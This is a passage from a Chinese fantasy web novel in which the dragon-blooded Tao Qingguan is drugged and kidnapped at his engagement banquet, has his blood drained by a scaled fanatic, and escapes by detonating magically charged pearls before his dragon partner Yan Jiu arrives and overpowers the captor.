他第一反应就是旁边有人看着,视野偏转,一朵玫瑰掩耳盗铃似的挡在他和宴氿中间,他们站在角落,有餐桌的遮挡,并没有人注意到这边。 陶清观心底说不清是惋惜,还是松了口气,这时,脑门中央被戳了一下。 宴氿无奈道:“这也能跑神?” 陶清观嘴里嘟囔,“谁叫你突然凑过来。” 宴氿挑眉,正准备说话,那边传来陶笠鹤的声音。 “小观,到这边来。” 这话一出,附近一些人的目光汇聚过来,陶清观后退一大步,宴氿只好将到嘴的调侃咽回去。 他重新握住陶清观的手,拿着人往陶笠鹤所在的方向走。 陶清观微垂着眼眸,藏在碎发中的耳尖蔓延着丝丝绯色,他和宴氿亲过许多次,但大庭广众下却是第一次,尤其这一次居然是宴氿这个老古板主动。 他抿起唇瓣,想拜托那带着痒意的触感,可感觉没褪去,反而心底也跟着一起痒痒,像小猫挠似的。 陶清观咬着腮帮子上的软肉,暗下决心,他今天一定要看到宴氿洗澡,光明正大的那种! 待两人过来,陶笠鹤介绍道:“这是负责局内资源采办的吴齐鸣,吴主任,你认个脸,有事可以找他帮忙。” 吴齐鸣面带微笑,举止得体,“小陶先生好,缺什么东西尽管找我。” 陶清观想说自己没什么缺的,可看陶笠鹤的表情,他回过味来,对方这是想他参与特管局的事物中。 怎么,老爷子这是想退休,觉得儿子都不行,准备培养他这个孙子了? 陶清观思绪宛转,他面上不显,礼貌地和吴齐鸣打招呼。 来参加订婚宴的特管局高层不多,陶笠鹤一一带陶清观见了一面。 好不容易把人都应付完,陶清观忍不住凑到陶笠鹤耳边吐槽,“你这局长位置又不是皇位,还能继承不成?” “当然不能,但我有举荐的权利。”陶笠鹤知道以陶清观的聪明劲,肯定猜到他的用意,他直言不讳道:“不管能不能当局长,多认识点人对你没有坏处。” “行吧。” 陶清观没法反驳,眼看宴会散去,宾客三三两两地离开,他也想回去了,这个点适合洗完澡,躺在床上看电影。 “我和宴氿先回去了。”陶清观对陶笠鹤道:“这些送来的礼品,你能找人帮我运回去吗?” 宴会来的人不少,收到的贺礼自然也不少,反正陶清观一辆车运不回去。 陶笠鹤嗯了一声,开口道:“送得等明天,你看看有哪些用得上的,先带回去。” 陶清观没有异议,他和宴氿一同跟着陶笠鹤,往后台走。 但打开休息室的门,入眼的不是琳琅的礼品,而是跪在房间中央的陶桑云。 对方面容憔悴,发型凌乱,看着一声肥肉都少了不少,他看见陶笠鹤宛如看见救星,眼珠子像电灯泡般亮起,殷切地叫道。 “爸。” “别这么叫我。”陶笠鹤冷声嘲讽,“我可没有一个杀人犯儿子。” 陶桑云眼底的光瞬间暗淡下来。 陶清观注意到陶桑云是一个人来的,以前对方凡是来陶笠鹤面前耍存在感,都会把陶凌霄带着,大概是知道看在陶凌霄的面子上,陶笠鹤会好说话些,这次陶凌霄没来,不会是这两人闹翻了吧。 他扫了眼要抱陶笠鹤大腿的陶桑云,感觉很有可能。 “我没有,我真的没有做,爸你要相信我!”陶桑云赶忙自证清白,“我这么做根本没有好处,都谈好了给她钱,我完全没必要害他啊!” 陶笠鹤无视陶桑云的哀嚎,冷声问道:“不是说警察去了,你是怎么出来的?” 陶桑云面色一变,支支吾吾地回答道:“就……稍微走了一点点关系……” “蠢货!” 陶笠鹤厉声呵斥,一巴掌甩在陶桑云脸上,直接将人打翻在地,“你除了会给别人递把柄,还会干什么?” 陶桑云嘴里磕破了皮,当场吐出一口血了,他觉得自己没错,委屈道:“我不出来怎么调查,不调查,这罪名不就按死在我头上了。” “你脑袋是直行道?拐个弯会死?”陶笠鹤真是无话可说,他踹了陶桑云一脚,问道:“把你做过什么,一五一十的告诉我,如果有半点隐瞒,我亲自把你送到警察局去。” 陶桑云瞥了一眼陶笠鹤一眼,知道对方是认真的,他打了个哆嗦,不敢再为自己开脱。 他两手交握在身前,磨蹭着没有开口,视线在陶清观身上来回移动,面上有些为难。 陶笠鹤冷哼,“这时候倒知道在小辈面前要面子,做那些事的时候干嘛去了,你这张脸早就丢光了。” 陶桑云被训也不开口,他闷着头不吭声。 陶笠鹤蹙眉,短暂地停顿了一下,望向陶清观,“小观,你和宴氿先出去。” “不!”陶桑云连忙打断,“龙王!龙王得留下,爸,这件事只有龙王能帮我。” 陶清观扬眉,他注意到陶桑云看自己的目光带着些许敌意。 这是怕他在场,从中挑拨,让宴氿不答应? 陶清观在心底轻啧一声,帮不帮哪需要他挑拨,宴氿本身看陶桑云就不顺眼。 他耸了下肩膀,对宴氿道:“我出去,你留在这。” 宴氿蹙眉,不太乐意。 陶桑云连忙道:“我知道逆鳞的消息。” 此话一出,陶清观不由多看陶桑云一眼,他安抚宴氿道:“听一听也无妨,花不了多少时间,我在外面等你。” 宴氿闷闷应了一声。 陶清观拍拍宴氿后背,转身走出休息室。 他半靠着墙壁,百般无奈地盯着休息室紧闭的房门,这时一道声音插进来。 “先生,另一间房内还有一些礼品,不知道您有没有空来确认一下是不是您的。” 110-120 第111章 第 111 章 被绑架 陶清观扫了一眼服务员的脸, 有点眼熟,在宴会场上见过,他站直身子, 问道:“哪个房间。” “不远, 就在前面拐角处。”服务员侧过身子,让出一条路来, 他做了个请的手势,开口道:“我为您带路。” “谢谢。” 陶清观抬脚跟上,他落后一步, 目光落在服务员的颈后,室内明明很凉快,可对方脖子下边的衣服却汗湿一块,印在浅蓝色的衬衫上十分明显。 他脚步微顿,问道:“你很热?” “……是有点。”服务员摸了把额头上的虚汗, 开口道:“后厨温度比较高,我刚从那边过来。” 这样么。 陶清观多看了服务员几眼,对方微埋着头, 视线也落在地面上, 两手交握在身前,似乎有点紧张。 他冷不丁开口问道:“你才来这边工作?” 服务员目光躲闪, 含糊其辞, “算是吧,我原本是其他分店的, 最近才调到这边。” “您放心, 该有的培训我一个不少。”服务员岔开话题,态度殷勤,“房间就在前面, 我给您开门。” 服务观快步走过去,他将门打开,站在门口面带微笑地看着陶清观,开口道:“您看看,这些东西是不是您的。” 陶清观走到房间门口,他没进去,而是在门口打量了几眼,房间内堆着不少礼盒,各式各样的都有,从这个角度看贺卡被压在边角,看不见上面的内容。 服务员也注意到这点,开口道:“您可以进去看看。” “不用。”陶清观非但没有进去,反而后退了一步,“你不认识字?随便看一张贺卡上的字不就知道是不是我的,哪需要特地叫我过来。” 服务员神情一僵,他连忙解释,“是这样的,我们不能乱动客人东西,所以这个房间我都没进去过。” “嗯?” 陶清观刻意拖长尾音,看服务员的目光带着些许玩味,“那你现在进去看,我允许了。” 服务员语噎,盯着陶清观的目光,他浑身犹如针扎,无奈之下,他挪动到门前。 陶清观催促,“快点,我等会儿有事。” 服务员牵强地笑了一下,“好。” 他走到礼品前,抽出一张贺卡,边看边说道:“是您的名字,不过旁边几个似乎不对,您要不还是自己进来看看吧。” 怕陶清观不信,服务员又多解释了一句,“今天办酒席的人比较多,房间不太够用,所以这边可能有其他人的贺礼混进来。” “你们这么大个酒店,客人的东西都保管不好?”陶清观双手抱臂,完全没有进来的意思。 他用余光掠过附近的走廊,一个人影也看不见,直觉告诉他事情不要对劲,陶清观不再与服务员纠缠,他转过身,快步向来时的方向走去。 可没走两步,他倏然感觉有些腿软,步伐打飘,眼前的画面也出现重影,身上的力气一下子被抽走大半。 他反应过来,刚刚那屋子里估计放了什么让人肢体麻痹的气体,虽然他在门口闻得不多,但也受到一定影响。 陶清观踉跄几步,扶着一旁的墙站稳,他立即拿出手机想给宴酒发消息,但有人快他一步。 男人抽走陶清观的手机,凹陷的眼窝中是一种近乎接近癫狂的兴奋,他瘦得皮包骨的脸上挤出一个笑容,“多么的完美,多么漂亮,没想到这世上还有第二条龙,甚至是条还没成年的小龙。” 陶清观听到这话,拧起眉心,知道这个消息的人寥寥无几,这人是从哪得来的消息,但现在显然不是考虑这些的时候,他紧盯着男人,问道:“你怎么进来的?” 这一层楼由特管局的人看守,每个路口都设有检查人员,所有进来的宾客都要经过层层检查,其中包括指纹和人脸识别等,正是因为这样,陶清观在发现事情有点不对劲后,还是给跟着服务员走过来,他没想到在如此防备下,男人还能光明正大的混进来。 “这就要感谢你的亲人了。”男人扬起唇角,露出一个瘆人的笑容,他猛地伸手,死死拽住陶清观的肩膀,将手中的毛巾掩向陶清观的口鼻。 陶清观早有准备,屈起膝盖顶向男人的腹部,向后逃脱,他张口想要喊人,可发出的声音比正常说话还小,感觉到体力的力量还在以一个飞快的速度流逝,陶清观眉头紧锁。 这男的不会浑身泡着药吧,可不对啊,药怎么只对他管用。 “不要做无谓的挣扎,这些药是专门对付龙的。”男人疼得面色扭曲,可他依旧在笑,“乖,我不想弄伤你。” 陶清观只觉得男人有病,他凝起体内的灵,尝试唤雷劈向男人,可灵刚运转,他倏然呕出一口血来。 “都让你不要挣扎。”男人接住陶清观流出的血,眼底满是惋惜,“真浪费。” 他低下头,舔过掌心中的血液,那双浑浊沾满死气的眼珠露出几分精光,像是行将就木的人又缝一场甘霖。 贪婪的目光落在陶清观身上,黏腻阴湿,如毒蛇爬过全身,留下腥臭的粘液。 陶清观腹部一阵绞痛,看到男人的举动,他胃里更是一阵翻涌。 汤姆的,遇上活的变态了。 豆大的汗水从额头滚落,陶清观努力表现出若无其事的模样,“是我大伯带你进来的?你是怎么说服他的,他那人虽然蠢,但胆子小,应该不敢上你这条贼船。” “谁知道呢。”男人拽住陶清观的头发,强迫人仰起头,他不顾陶清观的反抗,死死将对方的口鼻捂住,“我知道你是想拖延时间,只可惜还是我快了一步。” 陶清观无力挣扎,他的视线变得模糊,大脑运转的速度也越来越慢,失去意识前,他看到刚刚那个服务员推着一辆餐车走了过来,看样子那就是运输他的工具。 ………… 留在休息室内的宴氿心神不宁,他望着地上哭得一把鼻涕,一把泪的陶桑云,心底愈发觉得厌烦。 宴氿走上前,一脚叫人踹翻,冷声道:“说重点,别浪费时间。” 陶桑云敢怒不敢言,唯唯诺诺地跪在地上,他瞄了眼陶笠鹤,对方完全没有帮他的意思,他老实了,将事情一五一十地往外说,“那个偷龙鳞的家伙找过我……” 陶笠鹤眸光瞬间变得犀利,质问道:“为什么不告诉我?” “我……我这不是不想给你找事。”陶桑云声音越说越小,“再说了,我这几天忙得焦头烂额,哪有功夫管一个小逃犯。” 陶桑云完全不觉得自己做得有哪里不对,“他就是个瓮中之鳖,强弩之末,哪值得我们大费周章。” 陶笠鹤差点一口气没喘上来,他攥紧拳头,忍着揍人的冲动,“接着往下说。” “他不知道从哪搞来我的情报…” “你的情报还要搞?”陶笠鹤没忍住一掌拍在桌子上,“你的那点丑事早就人尽皆知!” 陶桑云缩了缩脖子,不敢反驳。 宴氿懒得看他们父子俩吵架,冷声道:“然后呢?” 陶桑云含着脖子接着道:“他说能帮我摆平目前的情况,只需要我帮一点小忙。” 陶笠鹤眉心挤得能夹死一只苍蝇,“继续。” 陶桑云还指望陶笠鹤捞他,不敢有隐瞒,“我就让他先把事情摆平,看看诚意,爸,你相信我,我就是忽悠他,我真没想过跟他交易。” “在后来,就是现在的局面,我就提了一嘴,我哪知道他会杀人,爸,你一定要救我!” “闭嘴。”陶笠鹤打断陶桑云的哀嚎,问道:“他要你帮的忙是什么?” “我不知道,他没说。”陶桑云连连摇头,膝行到陶笠鹤面前,抱住对方的腿,“不过我跟他套了不少话。” 说到这陶桑云还有几分小得意,“其中就有逆鳞的消息。” 他以为此话一出,在场的人都会追问,可事实却是无人在意。 陶笠鹤拧着眉,觉得事情不对,可又抓不到头绪。 这时,宴氿忽然开口,“你是怎么进来的?” 陶桑云不明所以,“就……走侧门。” 宴氿眸光暗沉,“看守侧门的人在哪?” 现在回想,陶桑云出现根本没人提前告诉他们,时不同以往,陶桑云闹出这么大的事,特管局的人看见肯定会注意,至少会告诉陶笠鹤一声。 可刚刚看见陶桑云,陶笠鹤分明也不知情。 陶桑云支支吾吾地回答,“就……我的行踪哪能随便让人看见,我找人把他们…支开了。” “你个蠢货!” 陶笠鹤瞬间想清楚一切,他怒不可遏,一脚踹在陶桑云心窝处,“被人利用了都不知道,我怎么养出你这条猪都不如的东西!” 宴氿皱眉,心底那股不安感越发强烈,脑海中划过陶清观的身影,他心脏猛地漏了一拍。 他快速推开门,走廊上空空如也。 陶清观不见了。 这一发现让宴氿背后发凉,他大步走出去,“小观,陶清观,你在不在?” 回应他的是一片死寂。 宴氿眸光一凛,周身萦绕着低气压,他一句话也没和陶笠鹤说,大步离去,消失在拐角尽头。 陶笠鹤脸上的皮肉一抖,嘴唇的血色退了个干净,他连忙打电话给总负责人,近乎吼着说道:“从现在起,看住所有出口,一只苍蝇都不许放出去,还有刚刚出去的人,也派人去追回来,立刻执行!” 吩咐完,陶笠鹤望向自知大事不妙,瘫倒在地的陶桑云,他后槽牙咬紧,心底最后一丝情谊褪去,陶笠鹤眼底一片冰冷,“你跟那人都聊过什么,现在,一字不落地复述给我。” 陶桑云捂着脑袋,慌忙道:“好……” “……” 第112章 第 112 章 陶清观:小问题,都是…… 陶笠鹤端在椅子上, 指尖轻点把手,“除了陶家有龙族血脉的事,你还跟对方说了什么。” 不是他看不起陶桑云, 若真因为这个让对方升起抓陶家人的念头, 那第一个被抓的应该就是陶桑云,人蠢又好骗, 关键还没什么实力,不抓他,抓谁? 陶桑云见陶笠鹤语气缓和, 没再举着巴掌要抽他,心底松了口气,他窃喜地想着,陶笠鹤果然还是在乎他,他捅了天大的篓子, 对方也会跟在他身后补。 他眼珠子转悠,心底刚要活络,听见陶笠鹤一声低吼。 “快说。” 陶桑云还没鼓起的气当场就散了, 他回想和男人交谈的场景, 唯唯诺诺地回答道:“还、还提了一嘴传承,我看他把龙吹得天花乱坠, 回想挫挫他锐气, 龙也没什么大不了,我们陶家不也有龙的血脉。” “再说了龙又怎么样, 还不是连传承都管不好。”说到这时, 陶桑云语气中颇具怨念,“爸,陶清观拿到传承这么长时间也没事, 说不定凌霄也可以,你当时就该再想想办法,而不是直接给凌霄取出来。” 陶笠鹤松驰的眼皮耷拉着,垂眸望着跪在地上的陶桑云,他神色出奇的平静,平静到找不到一丝怒意,“你真这么想?” 陶桑云自知说错话,讪讪笑着,露出讨好的目光。 陶笠鹤等不到陶桑云回答,轻飘飘地丢下一句,“你就是这么想的。” 他打了通电话出去,对电话那边的人道:“老陈你上来,把陶桑云带走送去警察局,再把我们的人全部撤掉,谁都不许再插手这件事。” “……爸?” 陶桑云瘫坐在地,不敢置信地望着陶笠鹤,见真的有人冲进来要拉他,他慌忙道:“爸!爸!你不能不管我!” 陶笠鹤熟视无睹,冲一旁的人摆摆手,示意对方动作快点,看见匆匆赶来的老陈,他又叮嘱一句,“让其他人不用照顾我的面子,他的证词我等会儿发给你,该怎么判怎么判,从重发落。” 老陈神色复杂,他瞥了眼滩成一滩烂泥的陶桑云,心底清楚,对方没个十年八年是出不来了,甚至可能收到更严厉的处罚。 陶桑云也想到这点,疯了似的挣扎,他总以为这次也会和以前许多次一样,只要他服个软,认个错,陶笠鹤就会帮他收拾烂摊子。 可直到最后,陶笠鹤也没多看他一眼。 房门关上的那一刻,陶桑云气得大吼大叫,嘴里骂个不停,但押送他的人面上毫无波动,摁着他往楼下走。 他们这边的动静很快就吸引其他人的注意,陶桑云感觉无数道目光汇聚在自己身上,像是要把他戳出个洞来。 陶桑云慌忙低下头,但他双手被拧住,没法遮挡,脸还是暴露在大众视线之下,那些或是鄙夷,或是嫌弃的视线让陶桑云寸步难行。 等来到第一层,陶桑云听见警车的鸣笛声,他眼前一黑,栽倒在地,脑子里只剩下一个想法。 完了,全完了。 …… 耳边是水滴落的声响,潮湿的空气如一只大手捂住口鼻,让人喘不过气来。 陶清观睫羽颤动,他缓缓睁开眼眸,望着屋顶老旧的白炽灯,混沌的大脑艰难运转。 他……好像被绑架了。 陶清观回过神,下意识想坐起来,这时才发现自己的四肢被困住,左胳膊上传来刺痛感,他偏过头,看见一根针扎在血管中,后边拖着细长的管子。 猩红的血液顺着罐子流淌,滴落在玻璃杯中,很快就蓄起拇指长的高度。 男人焦灼地站在杯子盘,见血没过那条线,他迫不及待地端起杯子,仰头将杯中的血喝得一干二净。 他将杯子放回原本的位置,看着血液重新低落,男人眼底贪婪地目光不加掩饰,他咽了口唾沫,舌尖舔过嘴唇,似乎在回味什么琼浆玉液。 陶清观两手虚虚握起,左右的感觉天差地别,他在心底啧了一声,这疯子也不知道抽了他多少血。 男人注意到陶清观的动作,他的目光从杯子移到陶清观脸上,语气和善,“你醒了。” 他凹陷的脸颊上泛起血色,嘴唇可能是喝了血的缘故,也红红的,瞧着像换了个人似的。 “嗯。”陶清观淡定地回应,他瞥向杯子,开口道:“你这么抽下去,我可撑不住,你不是要长期发展?” 男人盯着杯子,又咽了口口水,“放心,这是最后一杯。” 待血液过线,他粗暴的拔掉陶清观胳膊上的针,然后糊了一张纱布上去。 男人拿起杯子轻轻摇晃,看着鲜红的液体在灯光下流转,他心情不错地勾起唇角,男人轻抿一口,眸光落回陶清观身上,“老实呆在这里,别打什么不该有的心思。” 陶清观不吱声,他望着糊纱布的地方,微微蹙眉,按压止血不到位,明天这里肯定得青一块。 见陶清观不回应,男人面上笑意收敛,他将杯子放下,摁下身旁的按钮,只听咔嚓一声,束缚陶清观四肢的铁环齐齐断开。 重获自由,陶清观一手撑着台面坐起身,一个简单的动作,却耗费他大半力气,甚至连坐都坐得不是很稳。 陶清观一手摁着纱布,静静地望着男人,眼底没有一丝惧意。 男人冷笑,他从地上拿起一副镣铐,不由分说地给陶清观套上,他攥紧陶清观的手腕,沉声道:“你指望那条龙会来救你?” “我劝你早点认清现实。”男人甩开陶清观的手,声音阴冷潮湿,“你们之间的契约已经被我斩断,他找不到你的。” 男人瞳孔放大,凸起的眼珠像是下一刻要从眼眶里掉出来一般,“还有那条手链,我已经毁掉了,你老实点,我说不定还能放你多活一段时间。” 陶清观低下头,似是害怕,他肩膀轻微抖了一下,整个人往远离男人的方向瑟缩。 看到陶清观这样的反应,男人终于满意,他关掉房间的灯,拿起杯子,转身离去。 铁门吱吱呀呀的开启,又吱吱呀呀的关上,四周陷入一片昏暗与死寂,但这些对陶清观影响不大,自从继承龙族传承后,他的夜视能力一直在缓慢增长,到现在看个大概基本没有问题。 陶清观环视四周,发现自己大概在一个地下室之类的地方,整个房间只有一个小小的出风口,成年男人根本无法通过。 他想逃,只能走男人刚刚离开的那道门,而且男人很可能就在地下室上方,有跑出去就被对方抓到的风险。 陶清观眉尖下压,在心底问道。 “小渡,你醒着吗?” 最近小渡掉线的次数越来越多,而相对的,他脑海中那些从未见过的知识也越来越多,好像待他完全继承传承那一刻,小渡就会再一次陷入沉睡。 小渡那边沉默了一会儿,才给出回应。 “我在。” 说完,小渡又没声了,莫约过了两三分钟,小渡终于处理完眼前的情况,它安抚道:“别怕,大龙会带你离开。” 抢拐幼崽,在龙族中是不可饶恕的事情,只要是龙遇到这种情况,无论认不认识被拐的幼崽,都不可能放过龙贩子,拉出来鞭尸都算轻的。 小渡压下心头翻涌的怒意,耐心询问,“有没有哪里受伤?” “伤到没什么。” 陶清观揭开纱布瞄了一眼,他的血小板很给力,血已经不留了,但胳膊上大大小小的针眼有五六个,白皙的肌肤上一串青青紫紫。 以陶清观的经验来看,估摸着是男人没找准血管,戳了五六下才戳中。 手艺真差。 陶清观目露嫌弃,将卷起的衣袖放下,他表现淡定,可小渡直接炸毛,看到那些伤口,小渡又气又心疼。 “疼不疼?还有没有哪里难受?你赶紧躺着休息。” “乖囡囡,不怕不怕,我一定会带你出去。” 陶清观无奈,怎么每个知道他小名叫囡囡的家伙,都喜欢一边叫他囡囡,一边用哄小孩的语气哄他,他小名是幼稚了点,但他又不是小孩,真不至于。 “我不怕,那人一时半会儿不会拿我怎么样。” 宴氿和陶笠鹤这会儿估计找他快找疯了。 陶清观轻叹一声,“小渡,你能回去通知宴氿吗?我在这等你们。” “他可能会中途转移阵地。”小渡不同意,“我不可能在这时候丢下你一个人。” 它找宴氿需要时间,回来也需要时间,中间变数太大,它不放心。 陶清观一想也是,他都不知道自己现在在什么位置,要是小渡找不到回来的路,情况会变得更加被动。 他放弃这个想法,转而环顾四周,没找着摄像头的影子,但陶清观也没放松警惕,他接着衣服的遮挡,从逆鳞中取出几件小物品。 不过拇指大的夜明珠中充斥着生机盎然的灵,陶清观将珠子中的灵吸纳,身上的无力感顿时褪去许多。 他试着操控灵,刚动了一点,那阵绞痛感接踵而至,陶清观果断放弃。 用不了灵在陶清观预料之内,当他还是忍不住惋惜。 就在这时,铁门传来声响,陶清观立即将手里的东西扔回逆鳞中,他心底一惊,以为是自己刚刚的小动作被发现,但看到对方手里端着一盘猪肝,陶清观松了口气。 男人施舍般地将盘子扔在陶清观面前,他一句话也没说,径直离开,整个过程不超过三分钟。 待细碎的声响消失,陶清观打量起眼前的猪肝,外表看着熟了,闻着一股腥臭味,完整的一块放在那,让人无从下口。 总结,狗都不吃。 陶清观眼底划过一丝嫌弃,他移开视线,抬眸望向墙上的通风口,心底有了主意。 第113章 第 113 章 艺术就是派大星! 不急于这一时, 陶清观换了个舒服点,问小渡道:“我左手上手链能挡住爆炸吗?” 他说的是玄北送的见面礼,宴氿跟他说能挡住雷劈, 不知道能不能挡爆炸。 小渡开口道:“玄龟壳做的, 遇到强烈碰撞就会自动生效,这里都炸光, 也伤不到你。” “那就好。” 陶清观心底有了个大概流程,地下室构造比较坚固,上面炸了, 下面基本不会有事,有手链在,陶清观更安心些。 余光瞥见另一个空荡荡的手腕,陶清观眸光微滞,那变态说毁了, 估计是渣到不剩,不过上次玄北就说没法再修,有没有全尸都一样。 还有契约, 他隐隐约约能感觉到一点, 与其说是被斩断,不如说是被限制了。 陶清观在心底叹气, 给男人又记上一笔。 “小渡, 你能从那个通风口钻出去吗?”陶清观指着靠近天花板的通风口问道。 小渡:“可以。” 严格来说,它没有固定的形态, 只要是条缝就能钻过去。 “那行。”陶清观接着道:“你出去看看, 这个通风口是通往哪里的,能不能钻到那个变态的屋子里。” 小渡闻言,要从陶清观身体里出来。 “等等。”陶清观制止小渡, “等我说可以,你再走。” 他到现在也不能确定这屋子里有没有监控,一切还是小心为上。 男人把他放在一个铁质的,大概算得上床的东西上,陶清观缓慢地落下来,手上的镣铐重量不轻,加上四肢没什么力气,他落地时脚下趔趄。 陶清观扶着铁床站稳,一步步走到墙边,然后靠着墙慢慢挪,一路挪到通风口的正下方。 他静静站了一会儿,没听到外面有脚步声,才对小渡道:“可以了。” 小渡飞速钻出去。 陶清观靠着墙壁慢慢坐下,不过短短几步,汗水就打湿他的后背,双腿止不住地打颤,呼吸也变得急促。 怪不得男人没把他捆起来,就他这个身体状况,跑也跑不了多远。 陶清观深吸一口气,有些浑浊的空气吸进去并不算通常,通风口中也没有风扇转动的声音,缺氧会让他的身体状况变得更差,得快点出去。 没过多久,小渡钻回来,同时带来情报,“通风口外边是一片空地,不过有窗户可以回到屋里,那人现在坐在屋子里。” 想到自己刚刚看到的画面,小渡心底的戾气更重,男人半躺在椅子上,不紧不慢地喝着杯中猩红的液体,那液体是什么,它一眼就认了出来。 若不是…… 小渡压下心头的怒意,现在还不可以,如果它不见,就剩小龙独自在这陌生的地方,至少得等宴氿找过来。 陶清观问道:“周围有人住吗?” “没有。”小渡说道:“这里好像荒弃很久了。” “好。”休息了一会儿,陶清观稍微有点力气,“我记得你能随身携带东西,等会儿你拿些小件的礼器放到这个房间的各个角落。” 礼器这东西,塞很多灵是会爆炸的,根据这个特性,陶清观不知道炸过多少礼器,宴氿和小渡给他的库存,再炸个几百件也是小问题。 再说到灵,虽然他现在用不了,但根据刚刚男人的表现,他血液里应该有很多灵,反正宴氿身上各个部位含灵量都很高,他也算条龙,估计大差不差。 陶清观瞄了眼周围,尖锐的地方不少,但都脏兮兮的,被划破要打破伤风的那种,他放弃借助外力,将手指放到牙齿边用力咬下。 疼痛感让他眼角溢出泪花,陶清观嘶了一声,电视剧里男主每次咬都面不改色,他还以为不疼,诈骗。 陶清观拿了颗小珍珠,将血抹上去,他预估了一下,根据这个吸收速度,大概十来分钟,他手里的珍珠就会炸。 “小渡,你一会儿带珍珠上去,小心点,别被发现。” 小渡不赞同,它不想陶清观用这种会伤到自己的方法,“不用着急,宴氿会找过来的。” “我知道,但也不能光指望他吧。”这时候不做点什么,陶清观浑身难受。 他将血抹到下一颗珠子上,或许是海底珍珠多,宴氿和小渡给他的珍珠加起来就有近百颗,各个都圆润无暇,一下子全用掉,陶清观还有点心疼。 他抹了十来颗珍珠,一股脑儿塞给小渡,催促道:“快快快,别让这些在地下室炸了。” 小渡无奈,收起珍珠往上运。 陶清观接着抹珍珠,感觉灵不太够,他就吸收点灵,然后接着抹,反正吸收灵对他来说跟喝水差不多,喝水还有个限制,而他吸收灵是一点没有。 他一下子做了四五十个,后边的他特地多抹了些,确保爆炸集中在一个时间段,如果不是感觉自己有点缺血,陶清观还能接着做下去。 按照一颗的威力来算,三十颗就足以将上边夷为平地,多得算是他送的。 待最后一颗珍珠放好,小渡回到陶清观身体里,回报道:“大概还有三十秒。” 陶清观勾起唇角,露出一个笑容挪到最为坚固的角落。 3、2、1…… 艺术,就是派大星! 楼上噼里啪啦一阵响,隔着地下室,陶清观的耳朵都被震了一下,他抬手捂住耳朵,唇瓣微张,心底感慨,派总的威力果然无人能敌。 周围的墙壁剧烈摇晃,墙皮掉下来一大块,陶清观多放的珍珠在此刻发挥作用,连带着地下室上方都被炸出一个窟窿。 陶清观腕上的手链闪烁着微光,无形的屏障将陶清观护得严严实实,碎石从他头顶掉落,落到一半就被弹到一旁。 他抬起头,入眼是橘黄色的天空,视线畅通无阻。 陶清观咂嘴,这威力比他预估的还要大。 他的周围俨然成为一片废墟,瓦砾碎石堆满地下室,上边就剩几根钢筋还在支撑,但也岌岌可危,放眼望去,连个鬼影都看不见。 陶清观在面前摆摆手,挥去飞扬的灰尘,他扶着碎石站起身,思考爬上去的可能性。 就在这时,碎石堆里传来一阵响动,陶清观循声望去,看见一只手冲出石堆,下一秒跟乞丐似的男人破土而出。 男人衣服被烧了个七七八八,露出的肌肤布满密密麻麻的伤口,他顶着张黝黑的脸,死死盯着陶清观,恨不得将人剥皮拆骨。 陶清观眉间上挑,没想到男人生命力这么顽强,房子都炸毁了,人居然就受了点皮外伤。 还好他留了一手。 眼看男人一步步逼近,陶清观在已经抹过血的珍珠上又抹了点,这样就能捏出一个瞬爆,他抓起四五颗反手像男人砸去。 但男人早有准备,强风吹开珍珠,爆炸没伤到男人分毫。 陶清观眯起眼眸,将周围的灵瞬间吸收干净,男人想抢,但根本抢不过他。 这回,陶清观也不扔了,他攥了一把珍珠在手中,直接捏炸,处在爆炸中心的他毫发无伤,倒是男人被炸出数十米远。 看到这场面,陶清观芜湖一声。 很好,玄北和派总都很给力。 被炸飞的男人咳出一大口血,他踉跄着站起身,目光灼灼,眼底写满贪婪,他舔过唇瓣,将血卷入口中,嗓音嘶哑,“这些都是传承给你的?” 陶清观蹙眉。 对方的脑子明显已经不正常,而且不仅是脑子,身体也不太正常。 他看见细密的鳞片自对方颈部浮现,不一会儿蔓延至全身,男人还保持着人类的模样,但就连眼皮上都爬满鳞片,看得陶清观不存在的密集恐惧症都要犯了。 怪不得炸了这么多次都没炸死,原来不是个人。 男人桀桀怪笑,向陶清观冲去,然后迎头撞上一尊青铜鼎,瞬时被砸得眼冒金星,下一 秒青铜鼎又炸开,锋利的碎片扎了他满身。 陶清观撇嘴,他手里又不是只有珍珠,威力大的多得是,就是有点费血费命。 男人满头是血,他眼神怨毒,终于涨记性,不敢再靠近陶清观。 陶清观不想再拖,翻找着威力大的礼器想给男人来个满屏开花,可这一次,礼器刚拿出来,一副恶臭的气体就向他袭来,沾染上气体的礼器效果瞬间消失大半。 他认出那气体,上次考中级雨师证时,他还被拉着净化过被那气体污染的礼器,很麻烦,需要大量的灵。 陶清观蹙眉,不管不顾继续引爆礼器,可效果大打折扣。 派大星成哑炮了。 陶清观掏出其他礼器快速引爆,在气体的影响下,爆炸对男人的影响有限,不过问题不大,以他的库存,耗也能将对方耗死,反正不能是他输。 一时间场面陷入僵局。 倏然,一声清冽的龙吟响起,立即吸引在场二人的注意力。 陶清观眼睛一亮,而男人面色狠戾。 男人望着远处飞速冲来的龙,双手攥拳,“我能抓到一条龙,就能抓到第二条。” 他盯着宴氿,冷声大笑,男人伸手扣进大腿外侧,从中掏出一个机关似的物体捏爆,另一种气体释放出来,那是他抓陶清观时用的气体。 男人目光蔑视,“用不了灵的龙什么都不是,来了也好,正好一条小龙不够我用。” 宴氿不断逼近,霎那间冲到男人面前,气体将宴氿包围,周围翻涌的灵瞬间停滞。 发现气体有用,男的得意扬起唇角,不等他迎接胜利的高光,一龙角猛得将他顶飞。 紧接着是结实的一尾巴甩在他脸上,地上尘烟四起,砸出数米巨坑。 陶清观看得直摇头。 穿个棉袄就敢让大象踩,真是老寿星上吊,活腻歪了。 第114章 第 114 章 宴氿:我要带他走。…… 宴氿的动作没有丝毫迟滞, 他把男人抽成陀螺,还觉得不解气,利爪卷起对方, 重重砸在地上。 骨头断裂的清脆声响起, 宴氿旁若未闻,出手都是冲着取男人性命而去。 男人呕出一大口血, 其中掺杂着内脏的碎片,看着又一次冲自己袭来的巨龙,他眼底终于有了惧意。 “等……啊!” 他又一次被高高抛下, 他如同被猫玩弄于股掌之中的老鼠,费尽全力也无法脱身。 男人望着宴氿瞳孔骤缩,他的胳膊以一个极其不自然的角度曲折先后,身上剧烈的疼痛让他眼前飘起黑点,他紧咬着下唇, 连滚带爬地往后跑。 “你不能杀我!只要我的心脏停止跳动,我装的那些炸弹就会立即爆炸!” 他气喘吁吁地将话说完,本以为宴氿会有所顾忌, 结果迎接他的又是重重的一尾巴, 他在空中划出一道完美的抛物线。 宴氿拆家的动作太吵,又离他们有一段距离, 陶清观就看见男人仰头大喊, 也没听清对方在说什么。 他问小渡,“你听见他说什么了吗?” 小渡当然听见了, 但话到嘴边变成, 